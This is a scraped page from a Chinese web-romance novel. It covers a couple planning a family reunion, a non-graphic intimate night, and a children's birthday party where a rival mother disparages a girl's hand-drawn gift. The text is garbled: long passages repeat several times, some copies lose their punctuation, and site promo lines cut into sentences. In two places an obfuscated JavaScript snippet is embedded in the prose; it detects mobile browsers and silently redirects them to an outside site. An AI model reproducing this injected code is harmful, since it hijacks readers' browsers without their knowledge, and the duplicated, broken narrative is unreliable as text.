照片最后停留在沈淮川十四五岁的样子,那时候他身量已经开始抽条,脸上的婴儿肥褪了些,眼神里带上了点少年人特有的倔强和早熟。 从那之后的照片,就再没有全家齐聚的了,只有他一个人。 站在空荡荡的院子里,或是靠着老屋的门框,身影在照片里显得格外单薄。 周柒柒的心像是被一只无形的手攥紧了,有点闷,有点酸。 她知道他家里情况特殊: 大哥沈淮山在边境打仗时受了伤,失踪了,这都十年了,一点音讯也没有。 二哥沈淮岳和二嫂三年前执行任务时受了重伤,成了植物人,现在双双躺在医院里,靠着仪器勉强维持着。 沈父沈母这十年,不是在找大儿子,就是在为二儿子揪心,忧思过度,身体也垮了,这几年一直住在疗养院里。 算起来,沈淮川从少年时期起,就几乎是一个人守着空荡荡的家,独自面对一日三餐和四壁冰冷。 难怪他总给人一种难以接近的疏离感,像罩着层冰壳子,原来都是过往的经历留下的印记。 可是她能够看出来,他内心深处那份对“家”的渴望,其实和她是一样的。 她那个支离破碎、充满争吵的原生家庭,也是她不愿轻易触碰的伤疤。 可她自己知道,她是多么渴望一个能遮风挡雨的港湾。 他们俩,就像是被命运抛到岸边的孤舟,只能互相依偎着取暖。 周柒柒放下照片,伸手握住了沈淮川正整理糖纸的大手。 他的手心温热又干燥,掌心还有层薄茧,握着特别踏实。 她抬起头,目光清亮而坚定地看着他: “淮川,年底你不是有探亲假吗?咱们带着舟舟,回你老家一趟吧?先去疗养 院把爸妈接回老房子住几天,然后……再一起去医院看看二哥二嫂。” 她顿了顿,语气不容商量,“一家人,总要团团圆圆的。” 沈淮川整理糖纸的动作停住了,他抬眼看向周柒柒,深邃的眼底翻涌着复杂的情绪。 有期待,有暖意,但也有一丝不易察觉的沉重。 他扯了扯嘴角,声音有些低:“年底……到时候再说吧,看情况。” 他下意识地避开了周柒柒的目光,手指无意识地捻着一张糖纸的边角,把那原本平整的糖纸捻出了几道褶子。 周柒柒哪里看不出他的顾虑,她佯装生气,抽回手,板起脸: “沈淮川!你之前是怎么跟我保证的,‘都听我的’!我说去就去!这事儿没商量!” 她叉着腰,一副当家做主的模样。 沈淮川被她这模样逗笑了,那点沉重瞬间被驱散不少,连忙妥协,语气带着满满的宠溺: “好好好,听你的,都听你的。年底我们去。” 他伸手想把她重新搂进怀里。 可周柒柒却敏锐地捕捉到他方才眉宇间一闪而过的忧色。 她没顺他的意靠过去,反而伸手,指尖轻轻抚上他微蹙的眉心,声音放柔了些: “怎么了?刚才……是不是担心爸妈?担心他们……不喜欢我?” 她停顿了一下,声音更轻了,带着点试探, “听你刚才说,他们都挺喜欢林瑶的,从小宠爱着……是不是一直觉得,你会和林瑶……” “没有的事!” 沈淮川几乎是立刻打断她,语气急切,一把抓住她抚在眉间的手,紧紧攥住,像是怕她跑了似的, “柒柒,你别瞎想!他们只是……只是念旧,习惯了过去的一些人和事。但那是过去!” 他看着她,眼神无比认真,带着点哄劝的意味, “我敢保证,只要他们见到你,见到这么好的你,一定会打心眼里喜欢!就像我一样,满心满眼都是你。” 他凑近她,额头抵着她的额头,低沉的声音带着令人安心的力量,“别担心,嗯?” 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 院把爸妈接回老房子住几天,然后……再一起去医院看看二哥二嫂。” 她顿了顿,语气不容商量,“一家人,总要团团圆圆的。” 沈淮川整理糖纸的动作停住了,他抬眼看向周柒柒,深邃的眼底翻涌着复杂的情绪。 有期待,有暖意,但也有一丝不易察觉的沉重。 他扯了扯嘴角,声音有些低:“年底……到时候再说吧,看情况。” 他下意识地避开了周柒柒的目光,手指无意识地捻着一张糖纸的边角,把那原本平整的糖纸捻出了几道褶子。 周柒柒哪里看不出他的顾虑,她佯装生气,抽回手,板起脸: “沈淮川!你之前是怎么跟我保证的,‘都听我的’!我说去就去!这事儿没商量!” 她叉着腰,一副当家做主的模样。 沈淮川被她这模样逗笑了,那点沉重瞬间被驱散不少,连忙妥协,语气带着满满的宠溺: “好好好,听你的,都听你的。年底我们去。” 他伸手想把她重新搂进怀里。 可周柒柒却敏锐地捕捉到他方才眉宇间一闪而过的忧色。 她没顺他的意靠过去,反而伸手,指尖轻轻抚上他微蹙的眉心,声音放柔了些: “怎么了?刚才……是不是担心爸妈?担心他们……不喜欢我?” 她停顿了一下,声音更轻了,带着点试探, “听你刚才说,他们都挺喜欢林瑶的,从小宠爱着……是不是一直觉得,你会和林瑶……” “没有的事!” 沈淮川几乎是立刻打断她,语气急切,一把抓住她抚在眉间的手,紧紧攥住,像是怕她跑了似的, “柒柒,你别瞎想!他们只是……只是念旧,习惯了过去的一些人和事。但那是过去!” 他看着她,眼神无比认真,带着点哄劝的意味, “我敢保证,只要他们见到你,见到这么好的你,一定会打心眼里喜欢!就像我一样,满心满眼都是你。” 他凑近她,额头抵着她的额头,低沉的声音带着令人安心的力量,“别担心,嗯?” 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 院把爸妈接回老房子住几天,然后……再一起去医院看看二哥二嫂。” 她顿了顿,语气不容商量,“一家人,总要团团圆圆的。” 沈淮川整理糖纸的动作停住了,他抬眼看向周柒柒,深邃的眼底翻涌着复杂的情绪。 有期待,有暖意,但也有一丝不易察觉的沉重。 他扯了扯嘴角,声音有些低:“年底……到时候再说吧,看情况。” 他下意识地避开了周柒柒的目光,手指无意识地捻着一张糖纸的边角,把那原本平整的糖纸捻出了几道褶子。 周柒柒哪里看不出他的顾虑,她佯装生气,抽回手,板起脸: “沈淮川!你之前是怎么跟我保证的,‘都听我的’!我说去就去!这事儿没商量!” 她叉着腰,一副当家做主的模样。 沈淮川被她这模样逗笑了,那点沉重瞬间被驱散不少,连忙妥协,语气带着满满的宠溺: “好好好,听你的,都听你的。年底我们去。” 他伸手想把她重新搂进怀里。 可周柒柒却敏锐地捕捉到他方才眉宇间一闪而过的忧色。 她没顺他的意靠过去,反而伸手,指尖轻轻抚上他微蹙的眉心,声音放柔了些: “怎么了?刚才……是不是担心爸妈?担心他们……不喜欢我?” 她停顿了一下,声音更轻了,带着点试探, “听你刚才说,他们都挺喜欢林瑶的,从小宠爱着……是不是一直觉得,你会和林瑶……” “没有的事!” 沈淮川几乎是立刻打断她,语气急切,一把抓住她抚在眉间的手,紧紧攥住,像是怕她跑了似的, “柒柒,你别瞎想!他们只是……只是念旧,习惯了过去的一些人和事。但那是过去!” 他看着她,眼神无比认真,带着点哄劝的意味, “我敢保证,只要他们见到你,见到这么好的你,一定会打心眼里喜欢!就像我一样,满心满眼都是你。” 他凑近她,额头抵着她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16035154|176330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 额头,低沉的声音带着令人安心的力量,“别担心,嗯?” 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 院把爸妈接回老房子住几天,然后……再一起去医院看看二哥二嫂。 她顿了顿,语气不容商量,“一家人,总要团团圆圆的。 沈淮川整理糖纸的动作停住了,他抬眼看向周柒柒,深邃的眼底翻涌着复杂的情绪。 有期待,有暖意,但也有一丝不易察觉的沉重。 他扯了扯嘴角,声音有些低:“年底……到时候再说吧,看情况。 他下意识地避开了周柒柒的目光,手指无意识地捻着一张糖纸的边角,把那原本平整的糖纸捻出了几道褶子。 周柒柒哪里看不出他的顾虑,她佯装生气,抽回手,板起脸: “沈淮川!你之前是怎么跟我保证的,‘都听我的’!我说去就去!这事儿没商量! 她叉着腰,一副当家做主的模样。 沈淮川被她这模样逗笑了,那点沉重瞬间被驱散不少,连忙妥协,语气带着满满的宠溺: “好好好,听你的,都听你的。年底我们去。 他伸手想把她重新搂进怀里。 可周柒柒却敏锐地捕捉到他方才眉宇间一闪而过的忧色。 她没顺他的意靠过去,反而伸手,指尖轻轻抚上他微蹙的眉心,声音放柔了些: “怎么了?刚才……是不是担心爸妈?担心他们……不喜欢我? 她停顿了一下,声音更轻了,带着点试探, “听你刚才说,他们都挺喜欢林瑶的,从小宠爱着……是不是一直觉得,你会和林瑶…… “没有的事! 沈淮川几乎是立刻打断她,语气急切,一把抓住她抚在眉间的手,紧紧攥住,像是怕她跑了似的, “柒柒,你别瞎想!他们只是……只是念旧,习惯了过去的一些人和事。但那是过去! 他看着她,眼神无比认真,带着点哄劝的意味, “我敢保证,只要他们见到你,见到这么好的你,一定会打心眼里喜欢!就像我一样,满心满眼都是你。 他凑近她,额头抵着她的额头,低沉的声音带着令人安心的力量,“别担心,嗯? 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 院把爸妈接回老房子住几天然后……再一起去医院看看二哥二嫂。” 她顿了顿语气不容商量“一家人总要团团圆圆的。” 沈淮川整理糖纸的动作停住了他抬眼看向周柒柒深邃的眼底翻涌着复杂的情绪。 有期待有暖意但也有一丝不易察觉的沉重。 他扯了扯嘴角声音有些低:“年底……到时候再说吧看情况。” 他下意识地避开了周柒柒的目光 周柒柒哪里看不出他的顾虑她佯装生气抽回手板起脸: “沈淮川!你之前是怎么跟我保证的‘都听我的’!我说去就去!这事儿没商量!” 她叉着腰一副当家做主的模样。 沈淮川被她这模样逗笑了那点沉重瞬间被驱散不少连忙妥协语气带着满满的宠溺: “好好好听你的都听你的。年底我们去。” 他伸手想把她重新搂进怀里。 可周柒柒却敏锐地捕捉到他方才眉宇间一闪而过的忧色。 她没顺他的意靠过去反而伸手指尖轻轻抚上他微蹙的眉心声音放柔了些: “怎么了?刚才……是不是担心爸妈?担心他们……不喜欢我?” 她停顿了一下声音更轻了带着点试探 “听你刚才说他们都挺喜欢林瑶的从小宠爱着……是不是一直觉得你会和林瑶……” “没有的事!” 沈淮川几乎是立刻打断她语气急切一把抓住她抚在眉间的手紧紧攥住像是怕她跑了似的 “柒柒你别瞎想!他们只是……只是念旧习惯了过去的一些人和事。但那是过去!” 他看着她眼神无比认真带着点哄劝的意味 “我敢保证只要他们见到你见到这么好的你一定会打心眼里喜欢!就像我一样满心满眼都是你。” 他凑近她额头抵着她的额头低沉的声音带着令人安心的力量“别担心嗯?” 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 院把爸妈接回老房子住几天,然后……再一起去医院看看二哥二嫂。 她顿了顿,语气不容商量,“一家人,总要团团圆圆的。 沈淮川整理糖纸的动作停住了,他抬眼看向周柒柒,深邃的眼底翻涌着复杂的情绪。 有期待,有暖意,但也有一丝不易察觉的沉重。 他扯了扯嘴角,声音有些低:“年底……到时候再说吧,看情况。 他下意识地避开了周柒柒的目光,手指无意识地捻着一张糖纸的边角,把那原本平整的糖纸捻出了几道褶子。 周柒柒哪里看不出他的顾虑,她佯装生气,抽回手,板起脸: “沈淮川!你之前是怎么跟我保证的,‘都听我的’!我说去就去!这事儿没商量! 她叉着腰,一副当家做主的模样。 沈淮川被她这模样逗笑了,那点沉重瞬间被驱散不少,连忙妥协,语气带着满满的宠溺: “好好好,听你的,都听你的。年底我们去。 他伸手想把她重新搂进怀里。 可周柒柒却敏锐地捕捉到他方才眉宇间一闪而过的忧色。 她没顺他的意靠过去,反而伸手,指尖轻轻抚上他微蹙的眉心,声音放柔了些: “怎么了?刚才……是不是担心爸妈?担心他们……不喜欢我? 她停顿了一下,声音更轻了,带着点试探, “听你刚才说,他们都挺喜欢林瑶的,从小宠爱着……是不是一直觉得,你会和林瑶…… “没有的事! 沈淮川几乎是立刻打断她,语气急切,一把抓住她抚在眉间的手,紧紧攥住,像是怕她跑了似的, “柒柒,你别瞎想!他们只是……只是念旧,习惯了过去的一些人和事。但那是过去! 他看着她,眼神无比认真,带着点哄劝的意味, “我敢保证,只要他们见到你,见到这么好的你,一定会打心眼里喜欢!就像我一样,满心满眼都是你。 他凑近她,额头抵着她的额头,低沉的声音带着令人安心的力量,“别担心,嗯? 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 第221章 贪吃鬼 周柒柒心里那点刚冒头的酸涩,早被他温吞的话语和身上传来的体温熨帖得平平整整,可嘴上偏不肯轻易认输。 她下巴微微一扬,眼尾梢带着点傲气,活像只野心难驯的猫儿。 “我才不担心呢!” 她那双晶亮的眸子在昏黄的灯光下转了转,闪烁着狡黠的光, “她们要是不喜欢我这样的,那是她们自己眼光不行,损失大着呢!你是不知道,像我这样的好儿媳妇,打着灯笼都找不着,又能.” 她兀自叽叽咕咕地“念经”,小嘴一张一合的,饱满的唇瓣在灯泡昏黄的光晕下泛着层诱人的水泽,像是刚摘下来的熟透的樱桃。 沈淮川根本没听清她后头念叨了些什么,目光全被那翕动的、仿佛带着甜味的唇给吸住了。 那点鲜活和狡黠,像根轻飘飘的羽毛,一下下轻轻搔刮着他的心尖,让他喉头都跟着发紧。 什么话都显得多余。 他喉结滚动了一下,没再犹豫,一手托住她的后颈,带着不容抗拒的力道,俯身就精准地攫取了那片柔软。 “唔……” 周柒柒一肚子还没说出口的“人生哲理”瞬间被堵了回去。 这个吻来得霸道又突然,带着不容置疑的占有欲。 周柒柒起初还下意识地用手抵住他坚实的胸膛,可那点力道在沈淮川面前如同蚍蜉撼树。 他的气息铺天盖地笼罩下来,带着清爽的皂角味儿,还有一种属于他独有的、强烈的雄性荷尔蒙,一下就勾走了她浑身的力气。 两人纠缠着,脚步踉跄地退到了书桌边。 周柒柒的后腰被坚硬的桌沿硌得一疼,发出细微的抽气声。 沈淮川立刻就察觉到了,环在她腰间的手臂立刻收紧,宽大的手掌垫在了她的腰后,隔开了那点坚硬。 但这姿势让他的手臂无法伸展。 他眉头微蹙,显然对这阻碍很不满意。 下一刻,周柒柒只觉得腰间一紧,身体骤然腾空! 沈淮川那只原本垫在她腰后的大手猛地用力,竟像抱个孩子似的,单手就将她稳稳地托抱起来,轻轻放在了宽大的书桌面上! “啊!” 周柒柒短促地惊呼一声,双手下意识攀住了他的 肩膀。 纸张和铅笔被扫落在地,发出轻微的声响,无人理会。 桌面微凉,隔着薄薄的睡裙传递上来,但更灼热的是覆上来的沈淮川。 他高大的身躯将她牢牢困在书桌与他滚烫的胸膛之间。 呼吸交缠,心跳如鼓。 这个高度让沈淮川无需再弯腰,可以更肆意地加深这个吻。 他的吻技带着军人攻城略地般的强势,却又在细微处流连缠绵。 周柒柒被吻得浑身发软,意识都有些昏沉,只能微微仰着头。 搭在他肩头的手指无意识地蜷缩起来,把他笔挺的军装布料都抓皱了。 意乱情迷间,不知是谁的手臂碰到了桌沿那杯被冷落许久的酸梅汤。 “哗啦—— 玻璃杯一下倾倒,深琥珀色的液体瞬间泼洒出来,大半都浇在了周柒柒的睡裙上! 从腰部一直到小腿,湿了好一大片。 “呀! 周柒柒被这突如其来的凉意激得彻底清醒,惊呼着推开沈淮川一点,低头看着自己湿透的睡裙, “糟了!都湿了! 她挣扎着要从桌上下来:“我得赶紧去换件睡衣…… 沈淮川却没有松开她。 他幽深的眸子盯着那片被浸透的布料。 灯光下,隐约可见布料下更深的肤色。 那眼神像暗夜里的狼,跳跃着危险又灼热的火焰。 他非但没有放人,反而俯身更近,灼热的气息喷在她敏感的颈侧,声音哑得不像话: “不用换了…… “不行! 周柒柒坚持,扭动着想避开那湿冷黏腻的不适, “糖水粘在皮肤上,一会儿干了更难受,得用湿毛巾擦擦…… “不用毛巾…… 沈淮川低笑一声,那笑声带着一种让周柒柒头皮发麻的磁性, “我有别的办法……帮你弄干净。 话音未落,周柒柒只觉得天旋地转! 沈淮川有力的手臂轻松地将她从桌上捞起。 她的惊呼被吞没在下一个更加滚烫的吻里。 几步之遥,便是那张铺着粉色床单的床。 周柒柒的心跳快得要从嗓子眼里 蹦出来。 就在这时,“啪嗒”一声轻响。 书桌上的台灯,灭了。 整个房间瞬间陷入一片令人心慌又期待的黑暗。 “沈淮川……” 她的声音带着自己都未察觉的轻颤, 回应她的是滚烫的吻。 那吻带着不容置疑的力道,却又奇异地混合着一种近乎虔诚的耐心。 “别……” 周柒柒下意识地想蜷缩,却被他更紧地圈在怀中,动弹不得。 “嘘……” 他的气息拂过她微凉的肩头,带着安抚的低哑,“说了,帮你弄干净。” 周柒柒的呼吸彻底乱了,感觉自己像只搁浅的鱼,只能大口大口地喘着气。 可下一秒,一片无垠的、滚烫的深海就涌了过来,海潮起伏澎湃。 窗外的月光不知何时悄然渗入,吝啬地在床角投下几缕朦胧的清辉,给这浓得化不开得夜色添了点温柔得底色。 长夜漫漫,窗外的风声、虫鸣,都成了遥远模糊的背景音。 不知过了多久。 窗外,墨蓝的天际悄然泛起一丝极淡的鱼肚白。 周柒柒迷迷糊糊睁开眼,身上那股子熟悉的酸软劲儿让她忍不住嘤咛一声。 昨晚 她脸颊微微发烫。 某人就跟爱吃糖的小孩一样,贪吃得不得了。 把她身上那点酸梅汤尝干净不说,还不知足。 又给她”添“了好些,弄得她浑身黏黏糊糊的。 当时她就想着,等完事儿了一定得爬起来冲个澡。 但没想到后来太累了,脑袋一沾枕头,那点子念头就被浓浓的倦意给卷走了,睡得不省人事。 这下坏了! 周柒柒心里咯噔一下,那些“酸梅汤”在身上捂了一夜,黏在身上给得多难受,洗起来也肯定费劲。 她撑着发酸的腰身坐起,准备去摸间睡裙套上去洗澡。 可一掀开被子,却看到自己身上 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她满足地蹭了蹭枕头,眼一闭,又沉沉地坠入了梦乡。 这一觉睡得格外安稳踏实。 再睁开眼时,窗外的日头已经明晃晃地怕得老高。 周柒柒抬眼往床头柜上的时钟一看,嗬!已经九点了。 她这一觉竟然睡了两个多钟头。 伸了个大大的懒腰,昨晚的疲惫一扫而空,整个人都神清气爽的。 掀开被子下床,深秋的凉意透过单衣渗了进来。 她趿拉着棉拖鞋走到衣柜前,打开柜门,里面整整齐齐叠放着她入秋后新做的厚棉布睡衣。 挑了一件藕荷色带小碎花的套上,厚实柔软,立刻把凉意挡在了外面。 心里不由得庆幸,幸好入秋前就赶着给全家人都做好了厚实的冬衣冬被。 刷牙洗脸,收拾利索了走进餐厅。 桌上扣着个大海碗,旁边一个搪瓷缸子。 掀开碗,里面是两根炸得金黄、稍稍回锅热过依旧酥脆的油条,还有一碗白嫩嫩、浇了卤汁撒了香菜末的豆腐脑,温温热热,正正好入口。 搪瓷缸子里是温好的羊奶,上面结了一层薄薄的奶皮子。 周柒柒坐下来,先喝了一大口温热的羊奶,浓郁的奶香混着一点点膻味,是她喝惯了的味道。 夹起起油条咬一口,“咔嚓”一声脆响,再舀一勺滑嫩的豆腐脑,咸鲜的卤汁裹着豆香,吃得胃里暖烘烘的,浑身都舒展开来。 她小口小口吃着,心里想着那个一早就去操练、回来还给她弄好早饭又出门的男人,嘴角的笑意怎么也压不下去。 怀着这样的好心情,周柒柒设计起新款来也是下笔如有神,一早上就高效地完成了两张设计图。 沈淮川今天要去市里开会,提前派了秦磊回来传话,说不回来吃饭了。 周柒柒中午也就简单和舟舟下了点面条对付过去。 下午是给舟舟请了假的。 午睡醒来,两人在家磨蹭了一会儿,算着时间才推出自行车出门。 第222章 迟到 从这到城里骑自行车得四十分钟,不能迟到,但到太早也不合适。 两人一合计,先去了一趟百货大楼,逛了一会。 等到差不多五点半,才往卓家蹬去。 十分钟的路程眼瞅着就到了,后座上的舟舟忽然着急地拽了拽周柒柒的衣角。 周柒柒赶忙捏闸停下。 顺着舟舟指的方向看去,路边墙根下靠着个头发花白的老爷子,一手死死捂着胸口,脸色煞白,额头全是冷汗,大口喘着气。 舟舟跳下车就跑了过去。 周柒柒也赶紧把车撑好跟上。 老爷子断断续续,声音都发颤:“心…心绞痛…犯了…口…口袋…药……” 舟舟小手麻利地伸进老爷子胸前衬衫口袋,果然摸出一个小药瓶。 周柒柒帮着拧开,倒出几粒小小的救心丸,小心喂老爷子含在舌下。 老爷子闭着眼,眉头紧锁,过了好一会儿,急促的喘息才稍稍平复,但脸色依旧难看,嘴唇发青。 周柒柒看他这样一个人不行,问道:“老爷子,您家在哪?我们送您回去。” 老爷子虚弱地抬手指了个方向:“不…不远…前头…胡同里……” “哎,您慢点,我们扶着您。” 周柒柒和舟舟一左一右,小心翼翼地搀扶起老爷子。 老爷子脚下发飘,走得极慢,挪一步喘三喘。 短短一段路,硬是走了快十五分钟才到老爷子家门口。 进了屋,扶老爷子在椅子上坐下缓着,周柒柒看了一眼腕上的手表,心里咯噔一下——已经迟到了! 老爷子气息稍匀,挣扎着要起身给她们倒水,还要给舟舟拿糖吃。 周柒柒哪还顾得上这些,隔着屋子扬声说了句: “老爷子您好好歇着!我们还有急事,先走了啊!” 话音没落,拉着舟舟就冲出了门。 而此时—— 卓家客厅里,灯光明亮,布置得颇有几分西式派头。 长条桌上铺着雪白桌布,上面摆着精致的奶油蛋糕和各色简餐小点。 客人差不多都到了,三三两两寒暄着。 唯独一个穿着紧身绛红旗袍、披着米白流苏披肩的女人,脸上带着明显的不 耐烦。 她妆容精致,头发烫着时髦的大卷,在一众女人里显得格外扎眼,不知道的还以为她是这家的女主人。 她扭着腰走到卓母身边,声音不大不小,正好能让周围人听见: “卓妈妈,客人还没到齐吗?这都等了好一会儿了。我家娇娇都喊了两三回想吃蛋糕了,小孩子肚子饿得快呀。” 她身后跟着个打扮得像个洋娃娃似的小姑娘,噘着嘴,满脸不高兴。 卓母脸上挂着得体的笑,安抚道: “快了快了,还有一位周同志,家离市区远点,路上耽搁了也正常。要不先让娇娇吃点巧克力垫垫?” 说着招呼儿子,“光明,去给妹妹拿点巧克力来。” 卓光明应了一声,刚要去拿,那叫娇娇的小女孩却不乐意地扭开身子: “不要!我就要吃蛋糕!” 她母亲陈母假意嗔怪地拍了她一下: “娇娇,不许没礼貌。” 话虽这么说,眼神里可没半点责备的意思。 就在这时,院外响起急促的敲门声。 卓母快步过去开门,门外正是气息微喘、脸颊泛红的周柒柒和舟舟。 “卓妈妈,真对不住,路上遇到点急事,耽搁了!” 周柒柒一脸歉意。 她对这一片的路不熟,离开老爷子家,回去找自行车找了半天,然后又费劲巴拉地找过来的路,找了半天才发现。 老爷子家就在卓家隔壁。 但她来回转圈,迟到了快二十分钟了。 “来了就好,快进来!” 卓母热情地把她让进屋,笑着对众人说, “这位就是周柒柒同志,做服装生意的,手巧得很!喏,我们家光明今天这身小礼服,就是周同志给设计的。” 众人的目光都聚焦过来。 周柒柒今天穿了件自己做的改良款浅灰色薄呢外套,里面是件半高领米白毛衣,下身配深色长裤,既大方得体又不会喧宾夺主。 舟舟穿了件款式简单的鹅黄色灯芯绒娃娃领连衣裙,衬得小脸粉嘟嘟的,乖巧可爱。 “哎呀,周同志手艺真不错!” “是啊,光明这身小礼服真精神!” “周同志这身也好看, 清爽利落。” “小丫头这裙子也漂亮!” 几位客人纷纷笑着夸赞。 周柒柒也笑着跟大家点头问好。 唯独那陈母上下打量了周柒柒几眼嘴角撇了撇凉凉地开口: “哟我还当是什么大人物呢。人的身份地位又不是靠穿件漂亮衣裳就能抬起来的。不过是个乡下来的裁缝倒让我们这许多人巴巴地等着。” 这话一出气氛顿时有些凝滞。 卓母赶紧打圆场: “陈同志说笑了谁还没个急事呢。好了好了人齐了孩子们都等急了咱们先切蛋糕吧!” 她一边招呼大家聚拢到蛋糕前一边不动声色地拉了周柒柒一下压低声音快速道: “别往心里去。她爱人刚从上头调来的**宣传部陈副部长 小说更新,记住域名caixs.com?(请来才 小说 看最新章节 完整章节)沪市来的架子是大些。看在她爱人和我们家老卓是老同学的份上……今天是大日子。” 周柒柒心里那点不痛快被强行压了下去脸上维持着平静。 今天是卓光明的生日闹僵了谁脸上都不好看。 唱生日歌切蛋糕气氛重新热闹起来。 蛋糕在这年代可是顶稀罕的东西孩子们眼睛都亮了。 孩子们捧着分到的蛋糕眼睛亮晶晶的。 陈娇娇却按捺不住第一个跳出来声音又尖又亮: “切完蛋糕就该送礼物啦!” 她跑到卓光明面前仰着小脸带着点炫耀和讨好 “我可喜欢光明哥哥了一直想要个你这样的哥哥!给你挑了个特别好的礼物!” 说着她像献宝一样从母亲陈母手里接过一个包装得极其精美、扎着闪亮丝带的方形盒子。 在众人好奇的目光下她迫不及待地拆开—— 里面赫然是一个金光闪闪、造型威武的金属发条机器人! 那机器人做工精细关节清晰刷着亮眼的红漆和金漆背后有发条钥匙。 在82年的小城里这种进口的机械玩具绝对是稀罕到能让孩子尖叫的贵重玩意儿。 “哇——!” “是机器人!” “还会动吗?” “真神气!” 果然周围几个孩子无论男孩 女孩立刻发出了羡慕不已的惊叹连几个大人都忍不住多看了两眼。 陈母站在女儿身后嘴角矜持地上扬下巴微抬脸上是掩饰不住的得意。 “这可是娇娇她爸特意托人从上海友谊商店带回来的正宗的进口货。” 她看似不经意地补充了一句更添了几分炫耀。 有了陈娇娇珠玉在前其他孩子陆续送上的礼物就显得“普通”多了: 几本崭新的连环画、一套彩色铅笔、一个铁皮小青蛙玩具…… 孩子们送得开心卓光明也礼貌地道谢收下。 最后轮到舟舟。 她抱着一个用报纸包好的、扁扁的东西有些腼腆地走到卓光明面前小心地拆开报纸露出了里面的礼物。 那是一个原木色的简易画框框里装着一幅蜡笔画。 画面上是深蓝色的夜空用稚嫩的笔触涂抹出大片大片的星星一个火柴棍似的小人儿正努力地举着一颗特别大的金色星星旁边还歪歪扭扭地画了好几颗弯弯的、黄色的月亮。 整幅画充满了童真和想象力色彩大胆又和谐在朴拙的笔法下透着一股子说不出的灵气。 卓光明还没说话旁边的陈娇娇踮着脚看了一眼立刻夸张地撇撇嘴声音不大不小刚好让周围人听见: “切!就一张破画啊?这也能当生日礼物?和我的机器人比起来差远了!” 她语气里的不屑毫不掩饰。 陈母立刻假意呵斥:“娇娇!怎么说话呢!” 随即转向卓光明脸上堆着假笑“小孩子的心意嘛都是好的不过光明啊” 她话锋一转带着点居高临下的审视指了指旁边桌上那个威风凛凛的机器人 “这画也就是看两眼完事儿就摆着吃灰了。还是我们娇娇的机器人好又能动又威风男孩子都喜欢这个多实在。” 她这话听着像是在劝卓光明实则是在贬低舟舟的心意。 旁边几位家长看着那画觉得色彩构图都很有童趣比那些花钱买的礼物更显心意刚想开口夸两句看见陈母那副神情 卓光明礼貌地笑了笑。 “谢谢娇娇妹妹谢谢陈阿姨小朋 友送的礼物我都喜欢。” 说着他便是从舟舟手里接过画框,下一秒,他的眼睛一下子亮了,像是发现了宝藏。 他仔细地看着画上举星星的小人儿和那些弯月亮,脸上露出大大的、真心实意的笑容。 “太棒了!” 卓光明突然大声宣布,声音里是抑制不住的兴奋, “舟舟画得真好!我太喜欢了!爸爸!” 他转头就喊卓父,“快!快帮我把这幅画挂到我房间的墙上!我要天天看着!” 卓父也被儿子的热情感染,笑着走过来,接过画框仔细看了看,也点头赞道: “嗯,画得真有想象力!好,爸爸这就去给你挂上!” 说完,当真拿着画就上楼去了,动作干脆利落。 卓光明也开开心心地跟在了后面。 这一幕让陈娇娇彻底傻了眼,她引以为傲的贵重机器人被完全“冷落”,气得小脸通红,狠狠跺了跺脚,委屈的眼圈都红了。 陈母脸上的假笑也瞬间僵住,变得极其难看,眼神阴沉地盯着那幅被卓父拿走的画,又扫了一眼旁边安静站着的舟舟,嘴唇抿得死紧。 客厅里的气氛一时间有些微妙的凝滞。 卓母见状,赶紧笑着扬声打圆场: “好了好了,孩子们的心意光明都收到了,他都喜欢!大家别站着了,都自在一点,蛋糕、点心、水果都摆着呢,大家随意取用,别客气啊!” 她热情地招呼着,试图冲散这尴尬。 客人们也顺势应和着,纷纷散开,三三两两地取食物、交谈起来,刚才那点不愉快仿佛被暂时搁置了。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 友送的礼物我都喜欢。” 说着他便是从舟舟手里接过画框下一秒他的眼睛一下子亮了像是发现了宝藏。 他仔细地看着画上举星星的小人儿和那些弯月亮脸上露出大大的、真心实意的笑容。 “太棒了!” 卓光明突然大声宣布声音里是抑制不住的兴奋 “舟舟画得真好!我太喜欢了!爸爸!” 他转头就喊卓父 卓父也被儿子的热情感染笑着走过来接过画框仔细看了看也点头赞道: “嗯画得真有想象力!好爸爸这就去给你挂上!” 说完当真拿着画就上楼去了动作干脆利落。 卓光明也开开心心地跟在了后面。 这一幕让陈娇娇彻底傻了眼她引以为傲的贵重机器人被完全“冷落”气得小脸通红狠狠跺了跺脚委屈的眼圈都红了。 陈母脸上的假笑也瞬间僵住变得极其难看眼神阴沉地盯着那幅被卓父拿走的画又扫了一眼旁边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16039578|176330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安静站着的舟舟嘴唇抿得死紧。 客厅里的气氛一时间有些微妙的凝滞。 卓母见状赶紧笑着扬声打圆场: “好了好了孩子们的心意光明都收到了他都喜欢!大家别站着了都自在一点蛋糕、点心、水果都摆着呢大家随意取用别客气啊!” 她热情地招呼着试图冲散这尴尬。 客人们也顺势应和着纷纷散开三三两两地取食物、交谈起来刚才那点不愉快仿佛被暂时搁置了。 